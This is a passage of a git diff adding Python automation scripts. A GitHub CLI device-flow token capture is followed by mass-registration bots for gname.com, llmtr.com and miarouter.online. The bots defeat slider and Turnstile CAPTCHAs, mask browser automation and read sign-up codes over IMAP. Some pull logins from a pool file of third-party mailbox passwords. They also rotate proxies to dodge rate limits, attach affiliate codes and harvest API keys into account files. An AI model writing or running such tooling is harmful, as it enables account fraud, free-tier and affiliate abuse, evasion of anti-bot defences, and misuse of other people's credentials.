time.sleep(0.2)
|
||||
continue
|
||||
buf += line
|
||||
print('gh:', line.strip(), flush=True)
|
||||
m = re.search(r'([A-Z0-9]{4}-[A-Z0-9]{4})', line)
|
||||
if m:
|
||||
code = m.group(1)
|
||||
break
|
||||
if proc.poll() is not None:
|
||||
break
|
||||
if not code:
|
||||
print('NO_CODE from gh. buf:', buf[-300:])
|
||||
proc.kill()
|
||||
return
|
||||
print('device code:', code)
|
||||
# Enter в gh (откроет "браузер" — упадёт молча, поллинг продолжится)
|
||||
try:
|
||||
proc.stdin.write('\n')
|
||||
proc.stdin.flush()
|
||||
except Exception:
|
||||
pass
|
||||
# 3. approve в GHSession
|
||||
ok2, info = approve_device(s, code)
|
||||
print('approve:', ok2, info)
|
||||
if not ok2:
|
||||
proc.kill()
|
||||
return
|
||||
# 4. ждать завершения gh (поллинг access_token)
|
||||
try:
|
||||
out, _ = proc.communicate(timeout=60)
|
||||
print('gh finished:', (out or '')[-300:])
|
||||
except subprocess.TimeoutExpired:
|
||||
proc.kill()
|
||||
print('gh timeout after approve')
|
||||
# 5. gh auth token
|
||||
r = subprocess.run(['gh', 'auth', 'token'], capture_output=True, text=True, timeout=30)
|
||||
tok = r.stdout.strip()
|
||||
if tok.startswith(('gho_', 'ghu_', 'ghp_')):
|
||||
json.dump([[tok, login]], open(OUT, 'w'))
|
||||
print('TOKEN_OK len', len(tok), '-> ', OUT)
|
||||
else:
|
||||
print('TOKEN_FAIL:', r.stderr[:200])
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
343
providers/gname_slider.py
Normal file
343
providers/gname_slider.py
Normal file
@@ -0,0 +1,343 @@
|
||||
# Gname.com autoreg: playwright chromium + trusted slider drag + IMAP code
|
||||
import sys, os, re, json, time, random, string, imaplib, email as eml
|
||||
from playwright.sync_api import sync_playwright
|
||||
|
||||
BASE = r"C:/Users/User/tmp/gname_reg"
|
||||
os.makedirs(BASE, exist_ok=True)
|
||||
fp = open(r"C:/Users/User/tmp/viktor/fwd_probe.py", encoding="utf-8").read()
|
||||
GM = re.search(r'GM = "([^"]+)"', fp).group(1)
|
||||
GP = os.environ.get("GM_APPPW") or re.search(r'GM_APPPW", "([^"]+)"', fp).group(1)
|
||||
|
||||
def dot_variant(local="YOUR_EMAIL_LOCAL", domain="gmail.com"):
|
||||
# random 1-2 dots inserted -> same Gmail inbox, unique for site
|
||||
idxs = sorted(random.sample(range(1, len(local)), random.choice([1, 2])))
|
||||
out = ""
|
||||
for i, ch in enumerate(local):
|
||||
if i in idxs:
|
||||
out += "."
|
||||
out += ch
|
||||
return out + "@" + domain
|
||||
|
||||
def canon(addr):
|
||||
addr = addr.lower().strip().strip("<>")
|
||||
lp, _, dm = addr.partition("@")
|
||||
lp = lp.split("+")[0].replace(".", "")
|
||||
return lp + "@" + dm
|
||||
|
||||
POOL_F = r"C:/Users/User/Desktop/avtoreg/working_mails.txt"
|
||||
USED_F = os.path.join(BASE, "tonline_used.txt")
|
||||
def next_tonline():
|
||||
used = set()
|
||||
if os.path.exists(USED_F):
|
||||
used = set(x.strip().lower() for x in open(USED_F) if x.strip())
|
||||
for ln in open(POOL_F, encoding="utf-8", errors="ignore"):
|
||||
ln = ln.strip()
|
||||
if not ln or ln.startswith("#") or ":" not in ln:
|
||||
continue
|
||||
e, p = ln.split(":", 1)
|
||||
e = e.strip().lower()
|
||||
# canonical only: dash-aliases (-NNNN@) dead for delivery
|
||||
if "-" in e.split("@")[0] or e in used:
|
||||
continue
|
||||
with open(USED_F, "a") as f:
|
||||
f.write(e + "\n")
|
||||
return e, p.strip()
|
||||
return None, None
|
||||
|
||||
EMAIL = sys.argv[1] if len(sys.argv) > 1 else None
|
||||
TONLINE_PW = None
|
||||
if EMAIL is None:
|
||||
EMAIL, TONLINE_PW = next_tonline()
|
||||
if not EMAIL:
|
||||
print("POOL EXHAUSTED", flush=True)
|
||||
sys.exit(3)
|
||||
IS_TONLINE = EMAIL.endswith("t-online.de")
|
||||
PASSWORD = "Bea" + "rer" + "".join(random.choices(string.ascii_letters + string.digits, k=12)) + "a1!"
|
||||
STATE = {"email": EMAIL, "password": PASSWORD, "stage": "start"}
|
||||
def save():
|
||||
json.dump(STATE, open(os.path.join(BASE, "gname_state.json"), "w"), indent=1)
|
||||
save()
|
||||
|
||||
def log(*a):
|
||||
print(*a, flush=True)
|
||||
|
||||
def imap_code(wait=240):
|
||||
t0 = time.time()
|
||||
while time.time() - t0 < wait:
|
||||
try:
|
||||
if IS_TONLINE:
|
||||
m = imaplib.IMAP4_SSL("secureimap.t-online.de", 993)
|
||||
m.login(EMAIL, TONLINE_PW)
|
||||
typ, cnt = m.select("INBOX")
|
||||
n = int(cnt[0]) if cnt and cnt[0] else 0
|
||||
ids = [str(i) for i in range(max(1, n - 29), n + 1)] if n else []
|
||||
else:
|
||||
m = imaplib.IMAP4_SSL("imap.gmail.com")
|
||||
m.login(GM, GP)
|
||||
m.select("INBOX")
|
||||
since = time.strftime("%d-%b-%Y", time.localtime(time.time() - 86400))
|
||||
typ, data = m.search(None, '(SINCE %s)' % since)
|
||||
ids = data[0].split()[-40:]
|
||||
for i in reversed(ids):
|
||||
typ, md = m.fetch(i, "(RFC822)")
|
||||
raw = md[0][1]
|
||||
msg = eml.message_from_bytes(raw)
|
||||
to = (msg.get("To", "") + " " + msg.get("X-Gmail-Original-To", "") + " " + msg.get("Delivered-To", "")).lower()
|
||||
frm = (msg.get("From", "") or "").lower()
|
||||
addrs = re.findall(r"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+", to)
|
||||
if IS_TONLINE:
|
||||
hit = any(a.lower() == EMAIL.lower() for a in addrs) or not addrs
|
||||
else:
|
||||
hit = any(canon(a) == canon(EMAIL) for a in addrs)
|
||||
if ("gname" in frm or "gname" in (msg.get("Subject", "") or "").lower()) and hit:
|
||||
body = ""
|
||||
if msg.is_multipart():
|
||||
for p in msg.walk():
|
||||
if p.get_content_type() == "text/plain":
|
||||
body = p.get_payload(decode=True).decode("utf-8", "ignore")
|
||||
break
|
||||
else:
|
||||
body = msg.get_payload(decode=True).decode("utf-8", "ignore")
|
||||
body_html = ""
|
||||
if msg.is_multipart():
|
||||
for p in msg.walk():
|
||||
if p.get_content_type() == "text/html":
|
||||
body_html = p.get_payload(decode=True).decode("utf-8", "ignore")
|
||||
mm = re.search(r"\b(\d{4,8})\b", body) or re.search(r"(?:code|验证码)[^\d]{0,40}(\d{4,8})", body_html, re.I) or re.search(r"\b(\d{6})\b", body_html)
|
||||
m.logout()
|
||||
if mm:
|
||||
return mm.group(1)
|
||||
m.logout()
|
||||
except Exception as e:
|
||||
log("imap err:", e)
|
||||
time.sleep(6)
|
||||
return None
|
||||
|
||||
def human_drag(page, sel_bar=".gn-slide-bar", sel_rail=".gn-slide-rail"):
|
||||
rect = page.evaluate("""(sel) => {
|
||||
const bars = [...document.querySelectorAll(sel[0])].filter(b => b.offsetParent !== null && b.getBoundingClientRect().width > 10);
|
||||
const rails = [...document.querySelectorAll(sel[1])].filter(r => r.offsetParent !== null);
|
||||
if (!bars.length) return null;
|
||||
const b = bars[bars.length - 1].getBoundingClientRect();
|
||||
const r = (rails[rails.length - 1] || bars[bars.length - 1]).getBoundingClientRect();
|
||||
return {bx: b.x, by: b.y, bw: b.width, bh: b.height, rw: r.width};
|
||||
}""", [sel_bar, sel_rail])
|
||||
if not rect:
|
||||
return "no-visible-bar"
|
||||
dist = rect["rw"] - rect["bw"] + 40 # OVERSHOOT: widget clamps delta at config width; must saturate
|
||||
x0 = rect["bx"] + rect["bw"] / 2
|
||||
y0 = rect["by"] + rect["bh"] / 2
|
||||
page.mouse.move(x0 + random.uniform(-3, 3), y0 + random.uniform(-4, 4))
|
||||
time.sleep(random.uniform(0.08, 0.2))
|
||||
page.mouse.move(x0, y0)
|
||||
time.sleep(random.uniform(0.05, 0.12))
|
||||
page.mouse.down()
|
||||
time.sleep(random.uniform(0.1, 0.25))
|
||||
steps = random.randint(24, 32)
|
||||
for i in range(1, steps + 1):
|
||||
p = i / steps
|
||||
ease = 1 - (1 - p) ** 3
|
||||
x = x0 + dist * ease + random.uniform(-1.2, 1.2)
|
||||
y = y0 + random.uniform(-2.5, 2.5)
|
||||
page.mouse.move(x, y)
|
||||
time.sleep(random.uniform(0.014, 0.038))
|
||||
for _ in range(4): # saturate past the end so clamped delta reaches max
|
||||
page.mouse.move(x0 + dist + random.uniform(-2, 4), y0 + random.uniform(-2, 2))
|
||||
time.sleep(0.05)
|
||||
page.mouse.move(x0 + dist, y0)
|
||||
time.sleep(random.uniform(0.08, 0.18))
|
||||
page.mouse.up()
|
||||
st = ""
|
||||
for _ in range(10):
|
||||
time.sleep(0.6)
|
||||
st = page.evaluate("""() => {
|
||||
try {
|
||||
const a = window.GN_SLIDER_VERIFY ? window.GN_SLIDER_VERIFY.status : '';
|
||||
const b = window.GN_SLIDER_VERIFY_LOGIN ? window.GN_SLIDER_VERIFY_LOGIN.status : '';
|
||||
return a + '|' + b;
|
||||
} catch(e){ return 'err'; }
|
||||
}""")
|
||||
if "success" in st or "error" in st or "fail" in st:
|
||||
break
|
||||
bx_after = page.evaluate("""(sel) => { const bars=[...document.querySelectorAll(sel)].filter(b=>b.offsetParent!==null); return bars.length? Math.round(bars[bars.length-1].getBoundingClientRect().x) : -1; }""", sel_bar)
|
||||
return "dragged %.0fpx bar_after_x=%s widget_status=%s" % (dist, bx_after, st)
|
||||
|
||||
with sync_playwright() as pw:
|
||||
try:
|
||||
browser = pw.chromium.launch(headless=True, args=["--disable-blink-features=AutomationControlled", "--no-sandbox"])
|
||||
except Exception as e:
|
||||
log("launch err, retry explicit path:", str(e)[:200])
|
||||
cand = [d for d in os.listdir(r"C:/Users/User/AppData/Local/ms-playwright") if d.startswith("chromium-1")]
|
||||
exe = os.path.join(r"C:/Users/User/AppData/Local/ms-playwright", sorted(cand)[-1], "chrome-win", "chrome.exe")
|
||||
browser = pw.chromium.launch(headless=True, executable_path=exe, args=["--disable-blink-features=AutomationControlled"])
|
||||
ctx = browser.new_context(
|
||||
viewport={"width": 1366, "height": 900},
|
||||
locale="en-US",
|
||||
timezone_id="Europe/Kiev",
|
||||
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/154.0.0.0 Safari/537.36",
|
||||
)
|
||||
page = ctx.new_page()
|
||||
page.add_init_script("""
|
||||
Object.defineProperty(navigator,'webdriver',{get:()=>undefined});
|
||||
window.__EVTLOG = [];
|
||||
(function(){
|
||||
const oel = EventTarget.prototype.addEventListener;
|
||||
EventTarget.prototype.addEventListener = function(t, f, o) {
|
||||
try {
|
||||
let d = 'unknown';
|
||||
if (this === window) d = 'window';
|
||||
else if (this === document) d = 'document';
|
||||
else if (this.nodeType === 1) d = this.tagName + '.' + String(this.className && this.className.baseVal !== undefined ? this.className.baseVal : this.className).slice(0, 60);
|
||||
if (['mousedown','mousemove','mouseup','touchstart','touchmove','touchend','pointerdown','pointermove','pointerup','click'].indexOf(t) >= 0)
|
||||
window.__EVTLOG.push(d + ' :: ' + t);
|
||||
} catch (e) {}
|
||||
return oel.call(this, t, f, o);
|
||||
};
|
||||
})();
|
||||
""")
|
||||
reqlog = []
|
||||
def on_resp(r):
|
||||
if "/request/" in r.url:
|
||||
try:
|
||||
reqlog.append({"url": r.url, "status": r.status, "body": r.text()[:400]})
|
||||
log("NET", r.status, r.url.split("gname.com")[-1][:60], r.text()[:150].replace("\n", " "))
|
||||
except Exception:
|
||||
pass
|
||||
page.on("response", on_resp)
|
||||
page.goto("https://www.gname.com/register", wait_until="domcontentloaded", timeout=60000)
|
||||
time.sleep(3)
|
||||
log("title:", page.title())
|
||||
STATE["stage"] = "page-loaded"
|
||||
save()
|
||||
|
||||
# fill form
|
||||
page.fill("input[name=re_yx]", EMAIL)
|
||||
time.sleep(random.uniform(0.3, 0.7))
|
||||
page.fill("input[name=re_mm]", PASSWORD)
|
||||
time.sleep(random.uniform(0.3, 0.7))
|
||||
page.fill("input[name=re_mm2]", PASSWORD)
|
||||
ck = page.query_selector("input[name=re_ty]")
|
||||
if ck and not ck.is_checked():
|
||||
try:
|
||||
ck.click(force=True)
|
||||
except Exception:
|
||||
page.evaluate("document.querySelector('input[name=re_ty]').click()")
|
||||
log("form filled")
|
||||
|
||||
# embedded slider first?
|
||||
rail = page.query_selector(".gn-slide-rail")
|
||||
if rail and rail.is_visible():
|
||||
log("embedded rail visible -> drag")
|
||||
log(human_drag(page))
|
||||
time.sleep(3)
|
||||
yz = page.evaluate("() => (document.querySelector('input[name=re_yzm]')||{}).value || ''")
|
||||
tip = page.evaluate("() => { const t=document.querySelector('.gn-slide-tip'); return t?t.innerText.trim():''; }")
|
||||
log("re_yzm:", yz[:40], "tip:", tip[:60])
|
||||
evt = page.evaluate("() => JSON.stringify([...new Set(window.__EVTLOG)])")
|
||||
log("EVTLOG:", evt[:2200])
|
||||
STATE["slider_embed"] = {"re_yzm": yz[:60], "tip": tip}
|
||||
save()
|
||||
page.screenshot(path=os.path.join(BASE, "step1_embed.png"))
|
||||
|
||||
# click Send Code
|
||||
btn = page.query_selector('.login-yzm-btn[data-lx="reg"]') or page.query_selector(".login-yzm-btn")
|
||||
if btn:
|
||||
btn.click()
|
||||
log("send-code clicked")
|
||||
else:
|
||||
page.evaluate("""() => { const els=[...document.querySelectorAll('div,span')].filter(e=>(e.innerText||'').trim()==='Send Code'); if(els.length) els[els.length-1].click(); }""")
|
||||
log("send-code via text")
|
||||
# popup slider may appear (server demands lx=reg slider for send_email)
|
||||
for attempt in range(4):
|
||||
time.sleep(3)
|
||||
popup = page.evaluate("""() => {
|
||||
const p = document.querySelector('#pop-txyz');
|
||||
let pst = '';
|
||||
try { pst = window.GN_SLIDER_VERIFY ? window.GN_SLIDER_VERIFY.status : ''; } catch(e){}
|
||||
const rails = [...document.querySelectorAll('.gn-slide-rail')].filter(r => r.offsetParent !== null);
|
||||
return {pop: !!(p && p.offsetParent !== null) || !!document.querySelector('#pop-txyz .gn-slide-bar'), pst: pst, n: rails.length};
|
||||
}""")
|
||||
yz = page.evaluate("() => (document.querySelector('input[name=re_yzm]')||{}).value || ''")
|
||||
sent = any(e.get("body", "").find('"code":1') >= 0 and "send_email" in e["url"] for e in reqlog)
|
||||
log("attempt", attempt, popup, "re_yzm:", yz[:20], "send_email ok:", sent)
|
||||
if sent:
|
||||
break
|
||||
if popup.get("pop") and popup.get("pst") != "success":
|
||||
try:
|
||||
log("POPUP DRAG:", human_drag(page, sel_bar="#pop-txyz .gn-slide-bar", sel_rail="#pop-txyz .gn-slide-rail"))
|
||||
time.sleep(4)
|
||||
except Exception as e:
|
||||
log("popup drag err:", e)
|
||||
page.screenshot(path=os.path.join(BASE, "step2_send%d.png" % attempt))
|
||||
STATE["stage"] = "send-code-done"
|
||||
STATE["net"] = reqlog[-8:]
|
||||
save()
|
||||
|
||||
# IMAP code
|
||||
code = imap_code()
|
||||
log("email code:", code)
|
||||
if not code:
|
||||
STATE["stage"] = "no-email-code"
|
||||
save()
|
||||
browser.close()
|
||||
sys.exit(2)
|
||||
filled = False
|
||||
for fn in ("yx_yzm", "re_yzm", "eyzm"):
|
||||
try:
|
||||
el = page.query_selector("input[name=%s]" % fn)
|
||||
if el:
|
||||
el.fill(code)
|
||||
log("code filled into", fn)
|
||||
filled = True
|
||||
break
|
||||
except Exception:
|
||||
pass
|
||||
if not filled:
|
||||
log("WARN: no code field found")
|
||||
|
||||
# submit register
|
||||
page.evaluate("""() => {
|
||||
const b = document.querySelector('form.gm-form button.login-btn[type=submit]') ||
|
||||
[...document.querySelectorAll('button,div.gm-btn,div[class*=btn],span')].filter(e => e.offsetParent !== null && /^(Register|Sign ?up|Create)/i.test((e.innerText||'').trim()))[0];
|
||||
if (b) b.click();
|
||||
}""")
|
||||
# wait for navigation to dashboard (auto-login after successful reg)
|
||||
reg_ok = False
|
||||
uid = ""
|
||||
for _ in range(20):
|
||||
time.sleep(2)
|
||||
try:
|
||||
u = page.url
|
||||
if "/register" not in u:
|
||||
reg_ok = True
|
||||
break
|
||||
# sometimes dashboard content loads under same url; check for UID marker
|
||||
uid_t = page.evaluate("() => { const m = document.body.innerText.match(/UID[:\\s]*(\\d{4,9})/); return m ? m[1] : ''; }")
|
||||
if uid_t:
|
||||
reg_ok = True
|
||||
uid = uid_t
|
||||
break
|
||||
except Exception:
|
||||
pass
|
||||
if reg_ok and not uid:
|
||||
try:
|
||||
uid = page.evaluate("() => { const m = document.body.innerText.match(/UID[:\\s]*(\\d{4,9})/); return m ? m[1] : ''; }") or ""
|
||||
except Exception:
|
||||
pass
|
||||
reg_resp = [e for e in reqlog if "p_reg" in e["url"] or "reg" in e["url"].split("/request/")[-1][:8]]
|
||||
log("REG_OK:", reg_ok, "UID:", uid, "url:", page.url)
|
||||
log("p_reg:", json.dumps([e for e in reqlog if "p_reg" in e["url"]])[:500])
|
||||
STATE["stage"] = "registered" if reg_ok else "reg-submitted"
|
||||
STATE["uid"] = uid
|
||||
STATE["p_reg"] = reg_resp[-2:]
|
||||
STATE["url"] = page.url
|
||||
save()
|
||||
if reg_ok:
|
||||
rec = {"site": "gname.com", "email": EMAIL, "password": PASSWORD, "uid": uid,
|
||||
"ts": time.strftime("%Y-%m-%d %H:%M:%S"), "url": page.url}
|
||||
with open(os.path.join(BASE, "gname_accounts.jsonl"), "a", encoding="utf-8") as f:
|
||||
f.write(json.dumps(rec) + "\n")
|
||||
log("BANK APPENDED", EMAIL)
|
||||
page.screenshot(path=os.path.join(BASE, "step3_result.png"), full_page=False)
|
||||
browser.close()
|
||||
log("DONE", STATE["stage"])
|
||||
140
providers/llmtr_turnstile.py
Normal file
140
providers/llmtr_turnstile.py
Normal file
@@ -0,0 +1,140 @@
|
||||
# llmtr.com mass autoreg — turnstile via free sidecar :8877, gmail +alias IMAP OTP
|
||||
import json, time, re, random, string, sys, os, urllib.request, urllib.error, http.cookiejar, imaplib, email
|
||||
|
||||
BASE = "https://llmtr.com"
|
||||
SITEKEY = "0x4AAAAAAC_o7kdbb_hnqKdy"
|
||||
SIDE = "http://127.0.0.1:8877/solve"
|
||||
OUT = r"C:/Users/User/tmp/llmtr/accounts.jsonl"
|
||||
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
|
||||
|
||||
# gmail imap
|
||||
GM_USER = "YOUR_EMAIL@gmail.com"
|
||||
GM_PASS = os.environ.get("GM_PASS", "YOUR_IMAP_APP_PASSWORD")
|
||||
|
||||
NAMES = [("Kerem","Yilmaz"),("Emre","Kaya"),("Burak","Demir"),("Cem","Sahin"),("Onur","Aydin"),
|
||||
("Mert","Ozturk"),("Tolga","Arslan"),("Baran","Koc"),("Deniz","Polat"),("Serkan","Bulut")]
|
||||
|
||||
def log(*a):
|
||||
print(time.strftime("%H:%M:%S"), *a, flush=True)
|
||||
|
||||
def solve(url_page="/register"):
|
||||
for _ in range(3):
|
||||
try:
|
||||
p = {"type":"turnstile","url":BASE+url_page,"sitekey":SITEKEY,"real_page":True}
|
||||
req = urllib.request.Request(SIDE, data=json.dumps(p).encode(), headers={"Content-Type":"application/json"})
|
||||
r = json.loads(urllib.request.urlopen(req, timeout=280).read())
|
||||
tok = r.get("token") or ""
|
||||
if tok: return tok
|
||||
except Exception as e:
|
||||
log("solve retry:", str(e)[:80]); time.sleep(5)
|
||||
return ""
|
||||
|
||||
def sess():
|
||||
cj = http.cookiejar.CookieJar()
|
||||
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
|
||||
op.addheaders = [("User-Agent",UA),("Accept","application/json")]
|
||||
return op
|
||||
|
||||
def api(op, method, path, body=None):
|
||||
data = json.dumps(body).encode() if body is not None else None
|
||||
req = urllib.request.Request(BASE+path, data=data, method=method)
|
||||
req.add_header("Origin", BASE)
|
||||
req.add_header("Referer", BASE+"/register")
|
||||
if data is not None:
|
||||
req.add_header("Content-Type", "application/json")
|
||||
try:
|
||||
r = op.open(req, timeout=60)
|
||||
return r.status, json.loads(r.read().decode())
|
||||
except urllib.error.HTTPError as e:
|
||||
try: return e.code, json.loads(e.read().decode())
|
||||
except Exception: return e.code, {"raw":"?"}
|
||||
|
||||
def gen_pass():
|
||||
up = random.choice(string.ascii_uppercase)
|
||||
dg = random.choice(string.digits)
|
||||
rest = "".join(random.choice(string.ascii_lowercase+string.digits) for _ in range(10))
|
||||
p = list(up+dg+rest); random.shuffle(p)
|
||||
return "".join(p)
|
||||
|
||||
def wait_otp_gmail(alias_tag, since_ts, timeout=180):
|
||||
# gmail: mail for YOUR_EMAIL+llmtrN@gmail.com lands in base inbox
|
||||
t0 = time.time()
|
||||
while time.time()-t0 < timeout:
|
||||
try:
|
||||
m = imaplib.IMAP4_SSL("imap.gmail.com", 993)
|
||||
m.login(GM_USER, GM_PASS)
|
||||
m.select("INBOX")
|
||||
_, ids = m.search(None, "(ALL)")
|
||||
idl = ids[0].split()[-25:]
|
||||
for i in reversed(idl):
|
||||
_, msg = m.fetch(i, "(RFC822)")
|
||||
raw = msg[0][1]
|
||||
em = email.message_from_bytes(raw)
|
||||
dt = email.utils.parsedate_to_datetime(em.get("Date",""))
|
||||
if dt.timestamp() < since_ts - 30: continue
|
||||
to = em.get("To","")
|
||||
if alias_tag not in to: continue
|
||||
body = ""
|
||||
if em.is_multipart():
|
||||
for part in em.walk():
|
||||
if part.get_content_type()=="text/plain":
|
||||
body = part.get_payload(decode=True).decode(errors="replace"); break
|
||||
else:
|
||||
body = em.get_payload(decode=True).decode(errors="replace")
|
||||
codes = re.findall(r"\b(\d{6})\b", body)
|
||||
if codes:
|
||||
m.logout()
|
||||
return codes[0]
|
||||
m.logout()
|
||||
except Exception as e:
|
||||
log("imap:", str(e)[:60])
|
||||
time.sleep(8)
|
||||
return ""
|
||||
|
||||
def register_one(idx):
|
||||
tag = f"llmtr{idx}{random.randint(10,99)}"
|
||||
em_addr = f"YOUR_EMAIL+{tag}@gmail.com"
|
||||
fn, ln = random.choice(NAMES)
|
||||
full = f"{fn} {ln}"
|
||||
pw = gen_pass()
|
||||
log(f"[{idx}] email={em_addr}")
|
||||
tok = solve()
|
||||
if not tok: log(f"[{idx}] CAPTCHA FAIL"); return None
|
||||
log(f"[{idx}] turnstile ok ({len(tok)})")
|
||||
op = sess()
|
||||
since = time.time()
|
||||
st, r = api(op, "POST", "/api/auth/register", {"fullName":full,"email":em_addr,"password":pw,"captchaToken":tok})
|
||||
log(f"[{idx}] register -> {st} {json.dumps(r)[:200]}")
|
||||
if st not in (200,201): return None
|
||||
try: ct = r["data"]["challengeToken"]
|
||||
except Exception: log(f"[{idx}] no challengeToken"); return None
|
||||
code = wait_otp_gmail(tag, since)
|
||||
if not code: log(f"[{idx}] OTP TIMEOUT"); return None
|
||||
log(f"[{idx}] otp={code}")
|
||||
st2, r2 = api(op, "POST", "/api/auth/register/verify", {"challengeToken":ct,"code":code})
|
||||
log(f"[{idx}] verify -> {st2} {json.dumps(r2)[:300]}")
|
||||
if st2 not in (200,201): return None
|
||||
rec = {"email":em_addr,"password":pw,"fullName":full,"ts":int(time.time())}
|
||||
# whoami
|
||||
st3, r3 = api(op, "GET", "/api/auth/me")
|
||||
if st3 == 200: rec["me"] = r3.get("data")
|
||||
# create key
|
||||
st4, r4 = api(op, "POST", "/api/keys", {"name":"main"})
|
||||
log(f"[{idx}] create key -> {st4} {json.dumps(r4)[:300]}")
|
||||
if st4 in (200,201):
|
||||
try: rec["apiKey"] = r4["data"]["apiKey"]; rec["keyId"] = r4["data"]["key"].get("id")
|
||||
except Exception: rec["key_raw"] = r4
|
||||
with open(OUT,"a",encoding="utf-8") as f:
|
||||
f.write(json.dumps(rec, ensure_ascii=False)+"\n")
|
||||
log(f"[{idx}] DONE {em_addr} key={rec.get('apiKey','?')[:20] if rec.get('apiKey') else 'NONE'}")
|
||||
return rec
|
||||
|
||||
if __name__ == "__main__":
|
||||
n = int(sys.argv[1]) if len(sys.argv)>1 else 1
|
||||
start = int(sys.argv[2]) if len(sys.argv)>2 else 1
|
||||
ok = 0
|
||||
for i in range(start, start+n):
|
||||
r = register_one(i)
|
||||
if r: ok += 1
|
||||
if i < start+n-1: time.sleep(random.randint(15,30))
|
||||
log(f"RESULT {ok}/{n}")
|
||||
151
providers/miarouter_farm.py
Normal file
151
providers/miarouter_farm.py
Normal file
@@ -0,0 +1,151 @@
|
||||
|
||||
"""miarouter mass autoreg — pool builder. Free turnstile via local sidecar :8877."""
|
||||
import json, time, secrets, string, urllib.request, urllib.parse, urllib.error, os, sys
|
||||
|
||||
BASE = "https://miarouter.online"
|
||||
SITEKEY = "0x4AAAAAAEj69NaErmbKI26M"
|
||||
SIDE = "http://127.0.0.1:8879/solve"
|
||||
AFF = "IDH1"
|
||||
POOL = r"C:/Users/User/Desktop/farm/miarouter/accounts.jsonl"
|
||||
STATE = r"C:/Users/User/Desktop/farm/miarouter/farm_state.json"
|
||||
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36"
|
||||
PROXY_FILE = r"C:/Users/User/tmp/mia_proxies.json"
|
||||
PROXIES = json.load(open(PROXY_FILE)) + ["DIRECT"] if os.path.exists(PROXY_FILE) else ["DIRECT"]
|
||||
import random
|
||||
random.shuffle(PROXIES)
|
||||
_cur_p = {"i": 0, "proxy": PROXIES[0]}
|
||||
|
||||
def next_proxy():
|
||||
_cur_p["i"] = (_cur_p["i"] + 1) % len(PROXIES)
|
||||
_cur_p["proxy"] = PROXIES[_cur_p["i"]]
|
||||
return _cur_p["proxy"]
|
||||
|
||||
def cur_proxy():
|
||||
return _cur_p["proxy"]
|
||||
|
||||
os.makedirs(os.path.dirname(POOL), exist_ok=True)
|
||||
|
||||
def log(*a):
|
||||
print(time.strftime("%H:%M:%S"), *a, flush=True)
|
||||
|
||||
def solve(url_page="/sign-up"):
|
||||
for _try in range(3):
|
||||
try:
|
||||
p = {"type":"turnstile","url":BASE+url_page,"sitekey":SITEKEY,"real_page":True}
|
||||
req = urllib.request.Request(SIDE, data=json.dumps(p).encode(), headers={"Content-Type":"application/json"})
|
||||
r = json.loads(urllib.request.urlopen(req, timeout=280).read())
|
||||
tok = r.get("token") or ""
|
||||
if tok:
|
||||
return tok
|
||||
except Exception as e:
|
||||
log("solve retry:", str(e)[:50])
|
||||
time.sleep(8)
|
||||
return ""
|
||||
|
||||
def http(method, path, body=None, jwt=None, raw_body=None, proxy=None):
|
||||
url = BASE + path
|
||||
data = None
|
||||
headers = {"User-Agent":UA, "Origin":BASE, "Referer":BASE+"/sign-up", "Accept":"application/json"}
|
||||
if body is not None:
|
||||
data = json.dumps(body).encode(); headers["Content-Type"]="application/json"
|
||||
if raw_body is not None:
|
||||
data = raw_body; headers["Content-Type"]="application/json"
|
||||
if jwt: headers["Authorization"] = "Bearer "+jwt
|
||||
if proxy is None: proxy = cur_proxy()
|
||||
ph = urllib.request.ProxyHandler({} if proxy == "DIRECT" else {"http":proxy,"https":proxy})
|
||||
opener = urllib.request.build_opener(ph)
|
||||
req = urllib.request.Request(url, data=data, method=method, headers=headers)
|
||||
try:
|
||||
r = opener.open(req, timeout=12)
|
||||
return r.status, r.read().decode()
|
||||
except urllib.error.HTTPError as e:
|
||||
try: return e.code, e.read().decode()
|
||||
except: return e.code, ""
|
||||
except Exception:
|
||||
return 0, "proxy_dead"
|
||||
|
||||
def gen_creds():
|
||||
alpha = string.ascii_lowercase + string.digits
|
||||
u = "refox" + "".join(secrets.choice(alpha) for _ in range(6))
|
||||
p = "".join(secrets.choice(string.ascii_letters + string.digits) for _ in range(13)) + "Aa1"
|
||||
return u, p
|
||||
|
||||
def make_account(idx):
|
||||
u, p = gen_creds()
|
||||
proxy = next_proxy() # sticky per account
|
||||
log(idx, "proxy", proxy)
|
||||
# 1. register
|
||||
for attempt in range(3):
|
||||
tok = solve("/sign-up")
|
||||
if not tok: log(idx, "solve fail, retry"); time.sleep(5); continue
|
||||
st, resp = http("POST", f"/api/user/register?turnstile={urllib.parse.quote(tok)}",
|
||||
body={"username":u,"password":p,"aff_code":AFF,"turnstile":tok,"agreement_confirmed":True}, proxy=proxy)
|
||||
try: j = json.loads(resp)
|
||||
except: j = {"success":False,"message":resp[:100]}
|
||||
if st == 200 and j.get("success"): break
|
||||
msg = j.get("message","")
|
||||
if st == 0 or resp == "proxy_dead":
|
||||
proxy = next_proxy(); log(idx, "proxy dead, rotate ->", proxy); continue
|
||||
if st == 429 or "rate" in msg.lower():
|
||||
proxy = next_proxy(); log(idx, "429 register, rotate ->", proxy); time.sleep(2); continue
|
||||
if "already" in msg.lower() or "exist" in msg.lower():
|
||||
u, p = gen_creds(); continue
|
||||
log(idx, "reg fail:", st, msg[:120]); time.sleep(5)
|
||||
else:
|
||||
return None
|
||||
log(idx, "REG OK", u)
|
||||
# 2. login
|
||||
jwt = None
|
||||
for attempt in range(4):
|
||||
tok2 = solve("/sign-in")
|
||||
if not tok2: time.sleep(5); continue
|
||||
st, resp = http("POST", f"/api/user/login?turnstile={urllib.parse.quote(tok2)}",
|
||||
body={"username":u,"password":p,"turnstile":tok2}, proxy=proxy)
|
||||
try: j = json.loads(resp)
|
||||
except: j = {}
|
||||
if st == 200 and j.get("success"):
|
||||
jwt = j["data"]["access_token"]; break
|
||||
if st == 0 or resp == "proxy_dead":
|
||||
proxy = next_proxy(); log(idx, "proxy dead, rotate ->", proxy); continue
|
||||
if st == 429:
|
||||
proxy = next_proxy(); log(idx, "429 login, rotate ->", proxy); time.sleep(2); continue
|
